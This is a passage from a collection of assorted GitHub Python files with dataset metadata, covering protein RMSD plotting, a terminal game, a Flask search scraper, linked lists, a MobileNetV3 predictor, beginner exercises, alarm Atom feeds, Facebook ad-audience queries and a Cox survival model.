data_list[0] > match_num_threshold:\n                data_dict[f] = data_list\n\n    os.chdir(\"..\")\n    return data_dict\n\n\ndef get_pred_sh2_rmsds():\n    \"\"\"\n    returns a list of all predicted peptides RMSD from alignment against the reference peptide\n    \"\"\"\n    sh2_rmsds = []\n    os.chdir(BASE_PATH)\n    for pdb_dir in os.listdir(pred_dir):\n        # print(\"----- checking RMSD for SH2: \", pdb_dir)\n        for pdb_file in os.listdir(os.path.join(pred_dir,pdb_dir)):\n            if pdb_file.find(\"SH2\") != -1:\n                sh2_pred_path = os.path.join(pred_dir,pdb_dir,pdb_file)\n                pdb_ref_path = os.path.join(reference_dir, pdb_dir)\n                sh2_ref_path = \"\"\n                for ref_file in os.listdir(pdb_ref_path):\n                    if pdb_file.find(\"SH2\") != -1:\n                        sh2_ref_path = os.path.join(pdb_ref_path, ref_file)\n                sp.run([ALIGN, sh2_ref_path, sh2_pred_path, \"out\"], stdout=sp.DEVNULL, stderr=sp.DEVNULL)\n                rmsd = get_data()  # get relevant data from 2_sol.res\n                if (rmsd == None):\n                    print(\"No RMSD for file: \", pdb_file)\n                sh2_rmsds.append(rmsd)\n    return sh2_rmsds\n\n\ndef get_pred_peptide_rmsds():\n    \"\"\"\n    returns a list of all predicted peptides RMSD from alignment against the reference peptide\n    \"\"\"\n    peptide_rmsds = []\n    os.chdir(BASE_PATH)\n    for pdb_dir in os.listdir(pred_dir):\n        # print(\"----- checking RMSD for peptide: \", pdb_dir)\n        for pdb_file in os.listdir(os.path.join(pred_dir,pdb_dir)):\n            if pdb_file.find(\"peptide\") != -1:\n                pept_pred_path =os.path.join(pred_dir,pdb_dir,pdb_file)\n                pdb_ref_path = os.path.join(reference_dir, pdb_dir)\n                pept_ref_path = \"\"\n                for ref_file in os.listdir(pdb_ref_path):\n                    if pdb_file.find(\"SH2\") != -1:\n                        pept_ref_path = os.path.join(pdb_ref_path, ref_file)\n                sp.run([ALIGN, pept_ref_path, pept_pred_path, \"out\"], stdout=sp.DEVNULL, stderr=sp.DEVNULL)\n                rmsd = get_data()  # get relevant data from 2_sol.res\n                if (rmsd == None):\n                    print(\"No RMSD for file: \", pdb_file)\n                peptide_rmsds.append(rmsd)\n    return peptide_rmsds\n\n\nif __name__ == \"__main__\":\n    sh2_rmsds = get_pred_sh2_rmsds()\n    peptide_rmsds = get_pred_peptide_rmsds()\n    print(len(sh2_rmsds))\n    print(len(peptide_rmsds))\n\n    df = pd.DataFrame(data=[sh2_rmsds, peptide_rmsds], index=['SH2', 'Peptide'])\n    fig = plt.figure(figsize=(10, 7))\n    ax = fig.add_subplot(111)\n    # Creating plot\n    ax.boxplot(df)\n    plt.xticks([1, 2], [\"SH2\", \"Peptide\"])\n    ax.set_xlabel('protein')\n    ax.set_ylabel('RMSD')\n    plt.show()","repo_name":"morandav/SH2-peptide_hackathon","sub_path":"plots/prediction_plot.py","file_name":"prediction_plot.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32061621191","text":"from colorama import Fore, Back, Style\nfrom data import *\nfrom fire_beam import *\nimport sys\n\nbullets = []\n\n\nclass Bullet:\n    def __init__(self, x, y, bullet_number):\n        self.__x = x\n        self.__y = y\n        self.__bullet_number = bullet_number\n        self.__display = bullet_display\n        self.__present = True\n\n        bullets.append(self)\n\n    def erase(bullet_number, board):\n\n        for i in bullets:\n            if i.__bullet_number == bullet_number:\n                i.__present = False\n                board.grid[i.__x][i.__y].display = base_display\n                board.grid[i.__x][i.__y].isBullet = False\n                break\n\n    def move(board, mandalorian, boss, first_time):\n\n        for i in bullets:\n\n            if i.__present:\n                x = i.__x\n                y = i.__y\n\n                if board.grid[x][y].isCoin:\n                    display = coin_display\n\n                elif board.grid[x][y].isBoost:\n                    display = boost_display\n\n                else:\n                    display = base_display\n\n                board.grid[x][y].display = display\n                board.grid[x][y].isBullet = False\n\n                y += 1\n\n                if y == columns - 1:\n                    Bullet.erase(i.__bullet_number, board)\n\n                elif y > (board.curPos + columnsAtATime):\n                    Bullet.erase(i.__bullet_number, board)\n\n                elif board.grid[x][y].isEnemy:\n                    boss.lives -= 1\n                    mandalorian.score += 15\n\n                    if boss.lives <= 0:\n                        boss.erase(board)\n                        mandalorian.move_end(board, boss, first_time)\n                        boss.game_over(mandalorian)\n                        # sys.exit(0)\n\n                    Bullet.erase(i.__bullet_number, board)\n\n                elif board.grid[x][y].isIceBall:\n                    Bullet.erase(i.__bullet_number, board)\n\n                elif board.grid[x][y].obstacle:\n                    FireBeam.erase(board.grid[x][y].beam_number, board)\n                    Bullet.erase(i.__bullet_number, board)\n                    mandalorian.score += 10\n\n                else:\n                    board.grid[x][y].display = bullet_display\n                    board.grid[x][y].isBullet = True\n                    board.grid[x][y].bullet_num = i.__bullet_number\n                    i.__y += 1\n","repo_name":"destinyson7/Jetpack-Joyride","sub_path":"bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35394334874","text":"from flask_sqlalchemy import SQLAlchemy\nfrom flask import Flask,url_for,redirect,render_template,request\nimport os\nimport webbrowser\nimport bs4 as bs\nimport requests\n\n#os.system('database.py')\n\n\ndef log(x):\n    filee=open(\"log.dat\",\"w\")\n    filee.writeline(x)\n    filee.close()\n\nglobal results\nresults=[]\n\n#flasking starts here\napp=Flask(__name__)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = 'sqlite:///./test.db'\napp.config[\"secret_key\"]=\"very_secret\"\napp.config['TESTING'] = True\ndb=SQLAlchemy(app)\n\n\nclass accessdb:\n    def __init__(self):\n        pass\n\n    def writeindb(self,name,link):\n            try:\n                link=linkholder(name=name,link=link)\n                db.session.add(link)\n                db.session.commit()\n                return True\n            except:\n                return False\n\n    def readindb(self):\n        try:\n            link=linkholder(name=None,link=None)\n            links=link.query.all()\n            return links\n        except:\n            return False\n\nclass linkholder(db.Model):\n    idd = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(80), unique=True, nullable=False)\n    link = db.Column(db.String(250), unique=True, nullable=False)\n    \n    def __repr__(self):\n        return \"User \\n name \"+self.name+\" link \"+self.link\n\naccess=accessdb()\n\ndef checkindb(query):\n\n    if \"--ignore-database\" in query:\n        \n        return None\n    \n    try:\n        links=access.readindb()\n        query=query.lower()\n\n        for linked in links:\n            linkofsite=linked.link\n            nameofsite=linked.name\n            if (nameofsite.lower()==query):\n                print(linkofsite)\n                return linkofsite\n            else:\n                pass\n    except:\n        return None\n\ndef getlink(query):\n    link_predict=checkindb(query)\n\n\n\n    if link_predict:\n        print(\"Using database\")\n        print(link_predict)\n        result={}\n        result[\"query\"]=query\n        result[\"link\"]=link_predict\n        results.insert(0,result)\n    else:\n    \n        try:\n            result={}\n            q=query\n            headers={}\n            q=q.replace(\" \",\"+\")\n            headers['User-Agent'] = 'Mozilla/5.0 (X11; Li5nux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17'\n            url=\"https://www.google.com.np/search?q=\"+q\n            sauce=requests.get(url,headers=headers)\n            sauce=sauce.content\n            soup=bs.BeautifulSoup(sauce,'html.parser')\n            links=soup.find_all('a')\n            a=0\n            for j in links:\n                a+=1\n                if a>20:\n                    link = (str(j.get('href')))\n                    if (link!=None and len(link)>20 and link.startswith(\"http\")):\n                        \n                        if \"--ignore-database\" in query:\n                            query=query.replace(\"--ignore-database\",\"\")\n                        else:\n                            access.writeindb(query,link)\n                        \n\n                        result[\"query\"]=query\n                        result[\"link\"]=link\n                        break\n\n            results.insert(0,result)\n        except Exception as e:\n            print (e)\n\n\n\n@app.route(\"/database\")\ndef database():\n    links=access.readindb()\n    return render_template(\"database.html\",links=links)\n\n\n@app.route(\"/\",methods=[\"POST\",\"GET\"])\n@app.route(\"/homepage\",methods=[\"POST\",\"GET\"])\ndef home():\n   \n    if request.method==\"GET\":\n        return render_template(\"home.html\",results=results)\n        \n    else:\n        if request.method==\"POST\":\n            query=request.form[\"comm\"]\n            getlink(query)\n            return redirect(url_for(\"home\"))\n            \n\nif __name__=='__main__':\n    webbrowser.open(\"http://127.0.0.1:5000/\")\n    app.run(debug=True,port=5000)\n    ","repo_name":"n1rjal/SearchEngine","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3824,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"14798129367","text":"#!/usr/bin/python3\n\n\nclass LinkedList:\n    def __init__(self, nodes=None):\n        self.head = None\n        if nodes is not None:\n            node = Node(data=nodes.pop(0))\n            self.head = node\n            for elem in nodes:\n                node.next = Node(data=elem)\n                node = node.next\n\n    def __iter__(self):\n        node = self.head\n        while node is not None:\n            yield node\n            node = node.next\n\n    def __repr__(self):\n        node = self.head\n        nodes = []\n        while node is not None:\n            nodes.append(str(node.data))\n            node = node.next\n        nodes.append(\"None\")\n        return \" -> \".join(nodes)\n\n    def add_first(self, node):\n        node.next = self.head\n        self.head = node\n\n    def add_last(self, node):\n        if self.head is None:\n            self.head = node\n            return\n        for currentNode in self:\n            pass\n        currentNode.next = node\n\n    def add_after(self, targetNodeData, newNode):\n        if self.head is None:\n            raise Exception(\"List is empty\")\n\n        for node in self:\n            if node.data == targetNodeData:\n                newNode.next = node.next\n                node.next = newNode\n                return\n\n        raise Exception(\"Node with data '%s' not found\" % str(targetNodeData))\n\n    def add_before(self, targetNodeData, newNode):\n        if self.head is None:\n            raise Exception(\"List is empty\")\n\n        if self.head.data == targetNodeData:\n            return self.add_first(newNode)\n\n        prevNode = self.head\n        for node in self:\n            if node.data == targetNodeData:\n                prevNode.next = newNode\n                newNode.next = node\n                return\n\n            prevNode = node\n\n        raise Exception(\"Node with data '%s' not found\" % str(targetNodeData))\n\n    def remove_node(self, targetNodeData):\n        if self.head is None:\n            raise Exception(\"List is empty\")\n\n        if self.head.data == targetNodeData:\n            self.head = self.head.next\n            return\n\n        prevNode = self.head\n        for node in self:\n            if node.data == targetNodeData:\n                prevNode.next = node.next\n                return\n            prevNode = node\n\n        raise Exception(\"Node with data '%s' not found\" % str(targetNodeData))\n\n    def get_last(self):\n        if self.head is None:\n            raise Exception(\"List is empty\")\n\n        node = self.head\n        while node.next is not None:\n            node = node.next\n\n        return node\n\n    def rotate_right(self, movePostions):\n        if self.head is None:\n            raise Exception(\"List is empty\")\n\n        for postion in range(0, movePostions):\n            lastNode = self.get_last()\n            self.remove_node(lastNode.data)\n            self.add_first(Node(lastNode.data))\n\n\nclass Node:\n    def __init__(self, data):\n        self.data = data\n        self.next = None\n\n    def __repr__(self):\n        return str(self.data)\n\n\nllist = LinkedList([7, 7, 3, 5])\nprint(llist)\n\n# llist.remove_node(7)\n\n# llist.add_after(3, Node(4))\n# print(llist)\n\n# llist.add_before(3, Node(8))\n# print(llist)\n\n# for node in llist:\n#     print(node)\n\n# print(llist.get_last())\n\nllist.rotate_right(2)\nprint(llist)\n\n\nllist = LinkedList([1, 2, 3, 4, 5])\nprint(llist)\nllist.rotate_right(3)\nprint(llist)\n","repo_name":"nukdcbear/coding-examples","sub_path":"python/linked-list-rotate/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"17044475730","text":"# Author: Jerry Xia <jerry_xiazj@outlook.com>\n\nimport time\nimport tensorflow as tf\nfrom config import CFG\nfrom core.utils import draw_class\nfrom core.model import MobileNetv3_small\nfrom core.dataset import Dataset\n\n\ntf.keras.backend.set_learning_phase(False)\n\n####################################\n#          Generate Dataset        #\n####################################\ntest_set = Dataset(CFG.test_file, CFG.batch_size, 1, train=False)\n\n####################################\n#           Create Model           #\n####################################\ntf.print(\"Start creating model.\")\ninput_tensor = tf.keras.layers.Input(shape=(224, 224, 3))\noutput_tensor = MobileNetv3_small(CFG.num_classes)(input_tensor)\nmodel = tf.keras.Model(inputs=input_tensor, outputs=output_tensor)\n\nckpt = tf.train.Checkpoint(model=model)\nmanager = tf.train.CheckpointManager(ckpt, CFG.checkpoint_dir, max_to_keep=3)\nif manager.latest_checkpoint:\n    ckpt.restore(manager.latest_checkpoint)\n    tf.print(\"Restored from \", manager.latest_checkpoint)\nelse:\n    tf.print(\"Initializing from scratch.\")\ntf.print(\"Finish creating model.\")\n\n####################################\n#             Predict              #\n####################################\n\nstart = time.time()\n\ntest_img = test_set.generate_batch()\npred = model(test_img)\nindex = tf.argmax(pred, axis=-1).numpy()\n\nfor i, img in enumerate(test_set.generate_origin()):\n    classes = CFG.classes[index[i]]\n    print(classes)\n    score = pred[i, index[i]].numpy()\n    print(score)\n    path = CFG.log_dir + \"test/\" + str(i)+\".png\"\n    draw_class(img, classes, score, path)\n\ntf.print(\"Finish predicting. Time taken:\", time.time()-start, \"sec.\")\n","repo_name":"jerry-xiazj/MobileNetV3","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"39412229323","text":"# Q.10804\norder_list = []\nfor i in range(10):\n    a, b = map(int, input().split())\n    order_list.append([a,b])\n    \nbase_list = [i for i in range(1,21)]\n\nfor a in order_list:\n    base_list = base_list[:a[0]-1] + base_list[a[0]-1:a[1]][::-1] + base_list[a[1]:]\n    \nprint(' '.join(list(map(str, base_list))))\n\n\n# Q.15552 \nimport sys\n\nT = int(input())\n\nfor i in range(T):\n    a,b = map(int, sys.stdin.readline().split())\n    print(a+b)\n\n\n# Q. 별그리기 -> 너무기본이라 하나만\n\nN = int(input())\n\nfor i in range(N):\n    print((\" \")*i +\"*\"*(N-i))\n\n\n# Q.10807 \nimport sys\n\nN = int(input())\nnum_list = list(map(int, sys.stdin.readline().split()))\nfind_num = int(input())\nprint(num_list.count(find_num))\n\n\n# Q.13300\n\nfrom collections import defaultdict\n\nN, K = map(int, input().split())\n\nroom_dict = defaultdict(int)\n\nfor i in range(N):\n    sex, grade = input().split()\n    room_dict[sex+grade] += 1\n\ncnt = 0\nfor i in room_dict:\n    if room_dict[i] % 2 == 0:\n        cnt += room_dict[i] // K\n    else:\n        cnt += room_dict[i] // K + 1\n\nprint(cnt)\n\n","repo_name":"Hong-5/BOJ","sub_path":"20230202.py","file_name":"20230202.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72461206190","text":"names = ['Michael', 'Bob', 'Tracy']\nfor name in names:\n    print(name)\n\nsum = 0\nfor x in [1,2,3,4,5,6,7,8,9,10]:\n    sum += x\nprint(sum)\n\nprint(list(range(100)))\n\nsum = 0\nfor x in range(101):\n    sum += x\nprint(sum)\n\n\nsum = 0\nn = 99\nwhile n > 0:\n    sum += n\n    n -= 2\nprint(sum)\n\n\nL = ['Bart', 'Lisa', 'Adam']\nfor name in L:\n    print('Hello, %s!' % name)\n    print('Hello, {0}!'.format(name))\n    print(f'Hello, {name}!')\n\nn = 1\nwhile n <= 100:\n    if n > 10:\n        break\n    print(n)\n    n += 1\nprint('END')\n\n\nn = 0\nwhile n < 10:\n    n += 1\n    if n % 2 == 0:\n        continue\n    print(n)\n","repo_name":"vectorxxxx/04-Python","sub_path":"01-Python基础/循环.py","file_name":"循环.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"70413978671","text":"\"\"\" Statistics Test file for Multi_Maths Package \"\"\"\n# __doc__ (Statistics Test file for testing modules and packages)\n\nimport configparser\nfrom importlib.resources import files\nimport unittest\n\nfrom multi_maths.mm_statistics.mm_statistics import MM_Statistics\n\n\nclass TestStatistics(unittest.TestCase):\n    \"\"\"\n    Class for unittest Statistics\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        Instance the MM_Statistics()\n        \"\"\"\n\n        lang_file = files(\"multi_maths\").joinpath('languages/en.ini')  # noqa: E501  # pylint: disable=C0301\n        self.lang = configparser.ConfigParser()\n        self.lang.sections()\n        self.lang.read(lang_file, 'UTF-8')\n\n        self.statistics = MM_Statistics(self.lang, 'digit')\n        self.data_list = [8, 17, 41, 3, 21, 30, 11, 9]\n\n    def test_standard_deviation(self):\n        \"\"\"\n        standard_deviation() test for unittest\n        \"\"\"\n\n        test = self.statistics.standard_deviation(self.data_list, 7)\n        resolve = 16.978978599601163\n\n        self.assertEqual(test, resolve)\n\n    def test_mean(self):\n        \"\"\"\n        mean() test for unittest\n        \"\"\"\n\n        test = self.statistics.mean(self.data_list)\n        resolve = 17.5\n\n        self.assertEqual(test, resolve)\n\n    def test_median(self):\n        \"\"\"\n        median() test for unittest\n        \"\"\"\n\n        test = self.statistics.median(self.data_list)\n        resolve = 14.0\n\n        self.assertEqual(test, resolve)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"gsmx64/python-adv-bootcamp-cf","sub_path":"class03/challenge/package/multi_maths/tests/test_statistics.py","file_name":"test_statistics.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14077373386","text":"import time\nimport urllib\nfrom os import path\nfrom feed import atom\nfrom mpx.componentry import adapts\nfrom mpx.componentry import implements\nfrom mpx.componentry import register_adapter\nfrom mpx.service.alarms2.interfaces import IAlarmManager\nfrom mpx.service.alarms2.interfaces import IFlatAlarmManager\nfrom mpx.www.w3c.syndication.atom.interfaces import IAtomDocument\n\nclass AtomSyndicator(object):\n    implements(IAtomDocument)\n    adapts(IAlarmManager)\n    xml_declaration = '<?xml version=\"1.0\" encoding=\"utf-8\"?>'\n\n    def __init__(self, manager):\n        self.manager = manager\n        self.flattened = IFlatAlarmManager(manager)        \n        self.uri_base = self.manager.nodespace.url\n        self.manager_url = urllib.quote(self.manager.url)\n        self.feed_id = self.uri_base + self.manager_url\n        self.link_base = self.uri_base + '/syndication' + self.manager_url\n        self.categories = {\n            'raised': atom.Category(\"Raised\"),\n            'inactive': atom.Category(\"Inactive\"),\n            'accepted': atom.Category(\"Accepted\"),\n            'cleared': atom.Category(\"Cleared\"),\n            'closed': atom.Category(\"Closed\")\n        }\n        super(AtomSyndicator, self).__init__(manager)\n\n    def render(self, request_path = None, cache_id = None):\n        return str(self.get(request_path, cache_id))\n\n    def get(self, request_path, cache_id):\n        output = self.xml_declaration + '\\n'\n        xmldoc = self.setup_xmldoc(request_path)\n        feed = xmldoc.root_element\n        entries = self.setup_entries(request_path, cache_id)\n        map(feed.entries.append, entries)\n        return xmldoc\n\n    def setup_xmldoc(self, request_path):\n        xmldoc = atom.XMLDoc()\n        feed = atom.Feed()\n        feed.title = atom.Title(self.manager.name)\n        feed.id = atom.Id(self.feed_id)\n        xmldoc.root_element = feed\n        return xmldoc\n\n    def setup_entries(self, request_path, cache_id):\n        entries = []\n        content = \"Alarm %s switched to %s state at %s.\\n\\n\"\n        content += \"Please visit the Alarm Management link provided \"\n        content += \"in this entry to view details and make modifications.\"\n        t_update = time.time()\n        updated = atom.Updated(t_update)\n        for event in self.flattened:\n            if event.state == 'inactive':\n                continue\n            entry = atom.Entry()\n            entry.title = atom.Title(event.name)\n            entry.id = atom.Id(event.id)\n            entry.summary = atom.Summary('Alarm %s' % event.state)\n            entry.published = atom.Published(event.timestamp)\n            entry.updated = updated\n            entry_content = content % (event.name, event.state.upper(),\n                                       entry.published.text)\n            entry.content = atom.Content(entry_content)\n            entry.categories.insert(0, self.categories[event.state])\n            entry.link = atom.Link(\n                path.join(self.link_base, urllib.quote(event.name), event.id))\n            entries.append(entry)\n        return entries\n\nregister_adapter(AtomSyndicator)\n","repo_name":"mcruse/monotone","sub_path":"broadway/mpx/service/alarms2/presentation/syndication/atom/adapters.py","file_name":"adapters.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"36204926188","text":"#!/bin/python3\n\nimport os\nimport re\nimport sys\nimport time\nimport math\nimport random\n\n\n#-------------------------- Example 1: Basic example of iterators\nclass FirstHundredNumber:\n\n    def __init__(self):\n        self.number = 0\n\n    ### iterators are those which have next() function; \n    def __next__(self):\n        if(self.number < 100):\n            pre = self.number\n            self.number += 1\n            return pre\n        else:\n            raise StopIteration()\n\n\n    ### Iterables are used to return iterator obj\n    def __iter__(self):\n        return self\n\n\nclass EvenOddNumber:\n\n    def __init__(self,Flag=True):\n        self.cur = 0\n\n    def __next__(self):\n        if(self.cur < 100):\n            if(self.flag):\n                if(self.cur % 2 == 0):\n                    pre = self.cur\n                    self.cur += 2\n                    return pre\n            else:\n                if(x%2 != 0):\n                    pre = self.cur\n                    self.cur += 1\n                    return pre\n        else:\n            raise StopIteration()\n\ndef example1():\n   num = FirstHundredNumber()\n   print(list(num))\n   # print(num.__name__)\n   # print(next(num))\n   # print(next(num))    \n\n#-------------------------- /Example 1;;\n\n##---Main Execution;;\ndef main():\n    example1()\n\n\n\nif __name__ == '__main__':\n    print(\"#------------ Code Start --------------#\")\n    startTime = time.time()\n    main()\n    endTime = time.time()\n    print(\"Run Time:\",endTime-startTime,\"ms\")\n    print(\"#------------ Code Stop ----------------#\")\n    ","repo_name":"neerajsinghjr/dsa","sub_path":"basic-py/01.basic/P020_Basic_Iterators.py","file_name":"P020_Basic_Iterators.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"1720651415","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUtilities for data collection and analysis.\n\n@author: stewart\n\"\"\"\nimport os\nimport re\nfrom pysocialwatcher import watcherAPI\nfrom pysocialwatcher.constants import TOKENS\nimport json\n\ndef query_facebook_audience(access_token, user_id, query_file, extra_auth_data=[], response_file=None):\n    \"\"\"\n    Build manual query and execute request.\n    \n    access_token :: FB access token\n    user_id :: FB user ID\n    query_file :: JSON file containing query\n    extra_auth_data :: List of auth data pairs.\n    response_file :: Name of existing response file, if needed.\n    \n    response :: DataFrame with query response(s) => one response per row\n    \"\"\"\n    watcher = watcherAPI()\n    if(not (access_token, user_id) in TOKENS):\n        watcher.add_token_and_account_number(access_token, user_id)\n    for (access_token_i, user_id_i) in extra_auth_data:\n        if(not (access_token_i, user_id_i) in TOKENS):\n            watcher.add_token_and_account_number(access_token_i, user_id_i)\n    print('%d FB tokens'%(len(TOKENS)))\n    \n    ## execute data collection\n    if(response_file is not None and os.path.exists(response_file)):\n        print('using response file %s'%(response_file))\n        response = watcher.load_data_and_continue_collection(response_file)\n    else:\n        response = watcher.run_data_collection(query_file)\n    \n    ## clean up temporary dataframes\n    file_matcher = re.compile('dataframe_.*.csv')\n    tmp_files = filter(lambda f: file_matcher.search(f) is not None, os.listdir('.'))\n    for f in tmp_files:\n        os.remove(f)\n    \n    return response\n\ndef load_facebook_auth(auth_file='data/facebook_auth.csv'):\n    \"\"\"\n    Load Facebook ad API authentication from file.\n    \n    auth_file :: File name.\n    \n    access_token :: Access token.\n    user_id :: User ID.\n    app_id :: App ID.\n    app_secret :: Secret app ID.\n    \"\"\"\n    auth_data = list(open(auth_file))[0].strip().split(',')\n    if(len(auth_data) == 2):\n        access_token, user_id = auth_data\n        app_id = None\n        app_secret = None\n    elif(len(auth_data) == 4):\n        access_token, user_id, app_id, app_secret = auth_data\n#    access_token, user_id = list(open(auth_file))[0].strip().split(',')[:2]\n    return access_token, user_id, app_id, app_secret\n\ndef query_and_write(query_file, out_dir, extra_auth_files=[], response_file=None):\n    \"\"\"\n    Query Facebook for specified JSON target and\n    write results to out_dir as .tsv.\n    \n    query_file :: JSON file containing query\n    out_dir :: Output directory.\n    extra_auth_files :: Extra FB auth data files.\n    response_file :: Name of existing response file, if needed.\n    \"\"\"\n    access_token, user_id, _, _ = load_facebook_auth()\n    query_base = os.path.basename(query_file).replace('.json', '')\n    \n    ## issue query\n    extra_auth_data = [load_facebook_auth(auth_file=f)[:2] for f in extra_auth_files]\n    results = query_facebook_audience(access_token, user_id, query_file, extra_auth_data=extra_auth_data, response_file=response_file)\n    \n    ## clean up JSON cols\n    json_cols = filter(lambda x: type(results.loc[:, x].iloc[0]) is dict, results.columns)\n    for c in json_cols:\n        results.loc[:, c] = results.loc[:, c].apply(json.dumps)\n    \n    ## write to file\n    out_file = os.path.join(out_dir, '%s.tsv'%(query_base))\n    results.to_csv(out_file, sep='\\t', index=False)","repo_name":"ianbstewart/immigrant_assimilation","sub_path":"src/data_processing/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"74548887471","text":"from .abstract_model import AbstractModel\nimport numpy as np\nimport scipy as sp\nfrom warnings import warn\n\n\nclass CoxModel(AbstractModel):\n\n    def __init__(self, event_time, censoring_time, design):\n        \"\"\"\n\n        Parameters\n        ----------\n        event_time : numpy array\n            The lowest values indicate the earliest events. float('inf')\n            indicates right-censoring.\n        censoring_time : numpy array\n            float('inf') indicates uncensored observations.\n        \"\"\"\n\n        if np.any(event_time[:-1] > event_time[1:]):\n            raise ValueError(\n                \"The observations need to be sorted so that the event times are \"\n                \"in the increasing order, from the earliest to last events.\"\n            )\n\n        if np.any(censoring_time[:-1] < censoring_time[1:]):\n            raise ValueError(\n                \"The observations need to be sorted so that the censoring times \"\n                \"are in the decreasing order, from uncensored, last censored, \"\n                \"to the earliest censored.\"\n            )\n\n        n_event = len(event_time) - np.sum(np.isinf(event_time))\n        risk_set_start_index, risk_set_end_index = \\\n            self._find_risk_set_index(\n                event_time[:n_event],\n                np.flip(censoring_time[n_event:])\n            )\n        n_appearance = CoxModel.count_risk_set_appearance(\n            len(event_time), risk_set_start_index, risk_set_end_index\n        )\n        if not np.all(n_appearance >= 1):\n            raise ValueError(\n                \"Some individuals never appear in the risk set. They have to be\"\n                \"removed before using the CoxModel class.\")\n\n        self.n_event = n_event\n        self.event_time = event_time\n        self.censoring_time = censoring_time\n        self.n_appearance_in_risk_set = n_appearance\n        self.risk_set_start_index = risk_set_start_index\n        self.risk_set_end_index = risk_set_end_index\n        self.design = design\n        self.name = 'cox'\n\n    @staticmethod\n    def preprocess_data(event_time, censoring_time, X):\n        event_time, censoring_time, X = \\\n            CoxModel._permute_observations_by_event_and_censoring_time(\n                event_time, censoring_time, X\n            )\n        event_time, censoring_time, X = \\\n            CoxModel._drop_uninformative_observations(\n                event_time, censoring_time, X\n            )\n        return event_time, censoring_time, X\n\n    @staticmethod\n    def _permute_observations_by_event_and_censoring_time(\n            event_time, censoring_time, X):\n        \"\"\"\n        Permute the observations so that they are ordered from the earliest\n        to the last to experience events, followed by the last censored to the\n        earliest censored.\n\n        Params\n        ------\n        event_time : numpy array\n            The lowest values indicate the earliest events. float('inf')\n            indicates right-censoring.\n        X : numpy array or scipy sparse matrix\n        \"\"\"\n        if not np.all(np.equal(\n                event_time == float(\"inf\"),\n                censoring_time < float('inf')\n            )):\n            raise ValueError(\n                \"Either event or censoring time must be infinity for each \"\n                \"observation.\"\n            )\n\n        is_sorted = (\n            np.all(event_time[:-1] <= event_time[1:])\n            and np.all(censoring_time[:-1] >= censoring_time[1:])\n        )\n        if is_sorted:\n            return event_time, censoring_time, X\n\n        warn(\n            \"The observations and design matrix will be sorted so that the event \"\n            \"times are in the ascending order and censoring times in the descending order.\"\n        )\n\n        n_event = np.sum(event_time < float('inf'))\n        event_rank = CoxModel.np_rank_by_value(event_time)\n        censoring_rank = CoxModel.np_rank_by_value(censoring_time)\n        sort_ind = np.concatenate((\n            np.argsort(event_rank)[:n_event],\n            np.argsort(- censoring_rank)[n_event:]\n        ))\n        assert len(np.unique(sort_ind)) == len(sort_ind)\n\n        event_time = event_time[sort_ind]\n        censoring_time = censoring_time[sort_ind]\n        if sp.sparse.issparse(X):\n            X = X.tocsr()[sort_ind, :]\n        else:\n            X = X[sort_ind, :]\n\n        return event_time, censoring_time, X\n\n    @staticmethod\n    def _drop_uninformative_observations(event_time, censoring_time, X):\n\n        finite_event_time = event_time[event_time < float('inf')]\n        finite_censoring_time = censoring_time[censoring_time < float('inf')]\n\n        # Exclude those censored before the first event.\n        is_uninformative = (censoring_time < np.min(event_time))\n\n        if np.any(is_uninformative):\n            warn(\n                \"Some observations do not contribute to the likelihood, so \"\n                \"they are being removed.\"\n            )\n            is_informative = np.logical_not(is_uninformative)\n            event_time = event_time[is_informative]\n            censoring_time = censoring_time[is_informative]\n            X = X[is_informative, :]\n\n        return event_time, censoring_time, X\n\n    @staticmethod\n    def np_rank_by_value(arr):\n        sort_arguments = np.argsort(arr)\n        rank = np.arange(len(arr))[np.argsort(sort_arguments)]\n        return rank.astype('float')\n\n    @staticmethod\n    def count_risk_set_appearance(n_obs, start_index, end_index):\n        \"\"\" This function assumes that the observations are already sorted in\n        the way required by the class. \"\"\"\n\n        # The calculation can be done more efficiently.\n        n_appearance = np.zeros(n_obs, dtype=np.int)\n        for i in range(len(start_index)):\n            if start_index[i] <= end_index[i]:\n                n_appearance[start_index[i]:(end_index[i] + 1)] += 1\n        return n_appearance\n\n    def _find_risk_set_index(self, event_time, censoring_time):\n        \"\"\" The parameters are assumed to have 'inf' removed and in the ascending order. \"\"\"\n\n        n_event = len(event_time)\n        start_index = np.zeros(n_event, dtype=np.int)\n        for i in range(1, n_event):\n            if event_time[i - 1] == event_time[i]:\n                start_index[i] = start_index[i - 1]\n            else:\n                start_index[i] = i\n\n        n_censored = np.array([\n            np.searchsorted(censoring_time, t) for t in 